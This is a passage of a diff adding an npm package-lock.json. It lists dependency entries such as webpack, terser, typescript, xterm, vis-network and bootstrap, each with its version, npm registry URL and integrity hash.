"randombytes": "^2.1.0" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/style-loader": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-2.0.0.tgz", + "integrity": "sha512-Z0gYUJmzZ6ZdRUqpg1r8GsaFKypE+3xAzuFeMuoHgjc9KZv3wMyCRjQIWEbhoFSq7+7yoHXySDJyyWQaPajeiQ==", + "dev": true, + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.5.1.tgz", + "integrity": "sha512-6VGWZNVP2KTUcltUQJ25TtNjx/XgdDsBDKGt8nN0MpydU36LmbPPcMBd2kmtZNNGVVDLg44k7GKeHHj+4zPIBQ==", + "dev": true, + "dependencies": { + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.19" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.1.1.tgz", + "integrity": "sha512-5XNNXZiR8YO6X6KhSGXfY0QrGrCRlSwAEjIIrlRQR4W8nP69TaJUlh3bkuac6zzgspiGPfKEHcY295MMVExl5Q==", + "dev": true, + "dependencies": { + "jest-worker": "^26.6.2", + "p-limit": "^3.1.0", + "schema-utils": "^3.0.0", + "serialize-javascript": "^5.0.1", + "source-map": "^0.6.1", + "terser": "^5.5.1" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/terser/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/ts-loader": { + "version": "8.0.14", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.0.14.tgz", + "integrity": "sha512-Jt/hHlUnApOZjnSjTmZ+AbD5BGlQFx3f1D0nYuNKwz0JJnuDGHJas6az+FlWKwwRTu+26GXpv249A8UAnYUpqA==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "node_modules/typescript": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.1.3.tgz", + "integrity": "sha512-B3ZIOf1IKeH2ixgHhj6la6xdwR9QrLC5d1VKeCSY4tvkqhF2eqd9O7txNlS0PO3GrBAFIdr3L1ndNwteUbZLYg==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vis-data": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==", + "hasInstallScript": true + }, + "node_modules/vis-network": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.0.4.tgz", + "integrity": "sha512-F/pq8yBJUuB9lNKXHhtn4GP2h91FV0c2O2nvfU34RX4VCYOlqs+mINdz+J+QkWiYhiPdlVy15gzVEzkhJ9hpaw==", + "hasInstallScript": true + }, + "node_modules/vis-util": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.2.tgz", + "integrity": "sha512-oPDmPc4o0uQLoKpKai2XD1DjrhYsA7MRz75Wx9KmfX84e9LLgsbno7jVL5tR0K9eNVQkD6jf0Ei8NtbBHDkF1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/watchpack": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.0.tgz", + "integrity": "sha512-UjgD1mqjkG99+3lgG36at4wPnUXNvis2v1utwTgQ43C22c4LD71LsYMExdWXh4HZ+RmW+B0t1Vrg2GpXAkTOQw==", + "dev": true, + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack": { + "version": "5.14.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.14.0.tgz", + "integrity": "sha512-PFtfqXIKT6EG+k4L7d9whUPacN2XvxlUMc8NAQvN+sF9G8xPQqrCDGDiXbAdyGNz+/OP6ioxnUKybBBZ1kp/2A==", + "dev": true, + "dependencies": { + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.45", + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/wasm-edit": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "acorn": "^8.0.4", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.7.0", + "es-module-lexer": "^0.3.26", + "eslint-scope": "^5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "pkg-dir": "^5.0.0", + "schema-utils": "^3.0.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.1", + "watchpack": "^2.0.0", + "webpack-sources": "^2.1.1" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-sources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.2.0.tgz", + "integrity": "sha512-bQsA24JLwcnWGArOKUxYKhX3Mz/nK1Xf6hxullKERyktjNMC4x8koOeaDNTA2fEJ09BdWLbM/iTW0ithREUP0w==", + "dev": true, + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/enhanced-resolve": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.7.0.tgz", + "integrity": "sha512-6njwt/NsZFUKhM6j9U8hzVyD4E4r0x7NQzhTCbcWOJ0IQjNSAoalWmb0AE51Wn+fwan5qVESWi7t2ToBxs9vrw==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/tapable": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.0.tgz", + "integrity": "sha512-FBk4IesMV1rBxX2tfiK8RAmogtWn53puLOQlvO8XuwlgxcYbP4mVPS9Ph4aeamSyyVjOl24aYWAuc8U5kCVwMw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/xterm": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/xterm/-/xterm-4.9.0.tgz", + "integrity": "sha512-wGfqufmioctKr8VkbRuZbVDfjlXWGZZ1PWHy1yqqpGT3Nm6yaJx8lxDbSEBANtgaiVPTcKSp97sxOy5IlpqYfw==" + }, + "node_modules/xterm-addon-attach": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/xterm-addon-attach/-/xterm-addon-attach-0.6.0.tgz", + "integrity": "sha512-Mo8r3HTjI/EZfczVCwRU6jh438B4WLXxdFO86OB7bx0jGhwh2GdF4ifx/rP+OB+Cb2vmLhhVIZ00/7x3YSP3dg==" + }, + "node_modules/xterm-addon-fit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/xterm-addon-fit/-/xterm-addon-fit-0.4.0.tgz", + "integrity": "sha512-p4BESuV/g2L6pZzFHpeNLLnep9mp/DkF3qrPglMiucSFtD8iJxtMufEoEJbN8LZwB4i+8PFpFvVuFrGOSpW05w==" + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + } + } + }, + "dependencies": { + "@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "requires": { + "@types/hammerjs": "^2.0.36" + } + }, + "@popperjs/core": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.6.0.tgz", + "integrity": "sha512-cPqjjzuFWNK3BSKLm0abspP0sp/IGOli4p5I5fKFAzdS8fvjdOwDCfZqAaIiXd9lPkOWi3SUUfZof3hEb7J/uw==" + }, + "@types/bootstrap": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/bootstrap/-/bootstrap-5.0.4.tgz", + "integrity": "sha512-Awa1onTcDziszyFDAAa2AawwYCQamGBLqR3YuRhJHJNlAFKwpfzsE+lfSyKtwxRNEImpkWevhOuwo0yPadd3hA==", + "requires": { + "@popperjs/core": "^2.6.0", + "@types/jquery": "*" + } + }, + "@types/datatables.net": { + "version": "1.10.19", + "resolved": "https://registry.npmjs.org/@types/datatables.net/-/datatables.net-1.10.19.tgz", + "integrity": "sha512-WuzgytEmsIpVYZbkce+EvK1UqBI7/cwcC/WgYeAtXdq2zi+yWzJwMT5Yb6irAiOi52DBjeAEeRt3bYzFYvHWCQ==", + "requires": { + "@types/jquery": "*" + } + }, + "@types/datatables.net-select": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@types/datatables.net-select/-/datatables.net-select-1.2.6.tgz", + "integrity": "sha512-F114lcN6EuAELInU/ZSb1gGyQNfUFCAdZRbo12dRNtdt+HYxiRHVmow46J7Qy0Hv44/6DaPHwHKhVq35eY3LPg==", + "requires": { + "@types/datatables.net": "*", + "@types/jquery": "*" + } + }, + "@types/eslint": { + "version": "7.2.6", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.2.6.tgz", + "integrity": "sha512-I+1sYH+NPQ3/tVqCeUSBwTE/0heyvtXqpIopUUArlBm0Kpocb8FbMa3AZ/ASKIFpN3rnEx932TTXDbt9OXsNDw==", + "dev": true, + "requires": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "@types/eslint-scope": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.0.tgz", + "integrity": "sha512-O/ql2+rrCUe2W2rs7wMR+GqPRcgB6UiqN5RhrR5xruFlY7l9YLMn0ZkDzjoHLeiFkR8MCQZVudUuuvQ2BLC9Qw==", + "dev": true, + "requires": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "@types/estree": { + "version": "0.0.45", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.45.tgz", + "integrity": "sha512-jnqIUKDUqJbDIUxm0Uj7bnlMnRm1T/eZ9N+AVMqhPgzrba2GhGG5o/jCTwmdPK709nEZsGoMzXEDUjcXHa3W0g==", + "dev": true + }, + "@types/hammerjs": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", + "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" + }, + "@types/jquery": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.5.tgz", + "integrity": "sha512-6RXU9Xzpc6vxNrS6FPPapN1SxSHgQ336WC6Jj/N8q30OiaBZ00l1GBgeP7usjVZPivSkGUfL1z/WW6TX989M+w==", + "requires": { + "@types/sizzle": "*" + } + }, + "@types/jqueryui": { + "version": "1.12.14", + "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.14.tgz", + "integrity": "sha512-fR9PoOI0yauBS0sjGaU3ao0s2pJWjBi0yVYnPdYbllNoimaPUlHMOh0Ubq+hy8OB258hRSlK2hWCJk40kNhrZQ==", + "requires": { + "@types/jquery": "*" + } + }, + "@types/json-schema": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.6.tgz", + "integrity": "sha512-3c+yGKvVP5Y9TYBEibGNR+kLtijnj7mYrXRg+WpFb2X9xm04g/DXYkfg4hmzJQosc9snFNUPkbYIhu+KAm6jJw==" + }, + "@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==", + "dev": true + }, + "@types/sizzle": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", + "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==" + }, + "@webassemblyjs/ast": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.0.tgz", + "integrity": "sha512-kX2W49LWsbthrmIRMbQZuQDhGtjyqXfEmmHyEi4XWnSZtPmxY0+3anPIzsnRb45VH/J55zlOfWvZuY47aJZTJg==", + "dev": true, + "requires": { + "@webassemblyjs/helper-numbers": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.0.tgz", + "integrity": "sha512-Q/aVYs/VnPDVYvsCBL/gSgwmfjeCb4LW8+TMrO3cSzJImgv8lxxEPM2JA5jMrivE7LSz3V+PFqtMbls3m1exDA==", + "dev": true + }, + "@webassemblyjs/helper-api-error": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.0.tgz", + "integrity": "sha512-baT/va95eXiXb2QflSx95QGT5ClzWpGaa8L7JnJbgzoYeaA27FCvuBXU758l+KXWRndEmUXjP0Q5fibhavIn8w==", + "dev": true + }, + "@webassemblyjs/helper-buffer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.0.tgz", + "integrity": "sha512-u9HPBEl4DS+vA8qLQdEQ6N/eJQ7gT7aNvMIo8AAWvAl/xMrcOSiI2M0MAnMCy3jIFke7bEee/JwdX1nUpCtdyA==", + "dev": true + }, + "@webassemblyjs/helper-numbers": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.0.tgz", + "integrity": "sha512-DhRQKelIj01s5IgdsOJMKLppI+4zpmcMQ3XboFPLwCpSNH6Hqo1ritgHgD0nqHeSYqofA6aBN/NmXuGjM1jEfQ==", + "dev": true, + "requires": { + "@webassemblyjs/floating-point-hex-parser": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.0.tgz", + "integrity": "sha512-MbmhvxXExm542tWREgSFnOVo07fDpsBJg3sIl6fSp9xuu75eGz5lz31q7wTLffwL3Za7XNRCMZy210+tnsUSEA==", + "dev": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.0.tgz", + "integrity": "sha512-3Eb88hcbfY/FCukrg6i3EH8H2UsD7x8Vy47iVJrP967A9JGqgBVL9aH71SETPx1JrGsOUVLo0c7vMCN22ytJew==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.0.tgz", + "integrity": "sha512-KXzOqpcYQwAfeQ6WbF6HXo+0udBNmw0iXDmEK5sFlmQdmND+tr773Ti8/5T/M6Tl/413ArSJErATd8In3B+WBA==", + "dev": true, + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.0.tgz", + "integrity": "sha512-aqbsHa1mSQAbeeNcl38un6qVY++hh8OpCOzxhixSYgbRfNWcxJNJQwe2rezK9XEcssJbbWIkblaJRwGMS9zp+g==", + "dev": true, + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.0.tgz", + "integrity": "sha512-A/lclGxH6SpSLSyFowMzO/+aDEPU4hvEiooCMXQPcQFPPJaYcPQNKGOCLUySJsYJ4trbpr+Fs08n4jelkVTGVw==", + "dev": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.0.tgz", + "integrity": "sha512-JHQ0damXy0G6J9ucyKVXO2j08JVJ2ntkdJlq1UTiUrIgfGMmA7Ik5VdC/L8hBK46kVJgujkBIoMtT8yVr+yVOQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/helper-wasm-section": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-opt": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "@webassemblyjs/wast-printer": "1.11.0" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.0.tgz", + "integrity": "sha512-BEUv1aj0WptCZ9kIS30th5ILASUnAPEvE3tVMTrItnZRT9tXCLW2LEXT8ezLw59rqPP9klh9LPmpU+WmRQmCPQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.0.tgz", + "integrity": "sha512-tHUSP5F4ywyh3hZ0+fDQuWxKx3mJiPeFufg+9gwTpYp324mPCQgnuVKwzLTZVqj0duRDovnPaZqDwoyhIO8kYg==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.0.tgz", + "integrity": "sha512-6L285Sgu9gphrcpDXINvm0M9BskznnzJTE7gYkjDbxET28shDqp27wpruyx3C2S/dvEwiigBwLA1cz7lNUi0kw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.0.tgz", + "integrity": "sha512-Fg5OX46pRdTgB7rKIUojkh9vXaVN6sGYCnEiJN1GYkb0RPwShZXp6KTDqmoMdQPKhcroOXh3fEzmkWmCYaKYhQ==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "acorn": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.0.4.tgz", + "integrity": "sha512-XNP0PqF1XD19ZlLKvB7cMmnZswW4C/03pRHgirB30uSJTaS3A3V1/P4sS3HPvFmjoriPCJQs+JDSbm4bL1TxGQ==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "bootstrap": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.3.tgz", + "integrity": "sha512-o9ppKQioXGqhw8Z7mah6KdTYpNQY//tipnkxppWhPbiSWdD+1raYsnhwEZjkTHYbGee4cVQ0Rx65EhOY/HNLcQ==" + }, + "bootstrap-icons": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/bootstrap-icons/-/bootstrap-icons-1.3.0.tgz", + "integrity": "sha512-w6zQ93p626zmPDqDtET7VdB9EkoDtfmCBV53hunjntoCke6X5LafXf6TxPAP+ImjRAhhxAyA/sjzQnHBY0uoiQ==" + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.16.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.1.tgz", + "integrity": 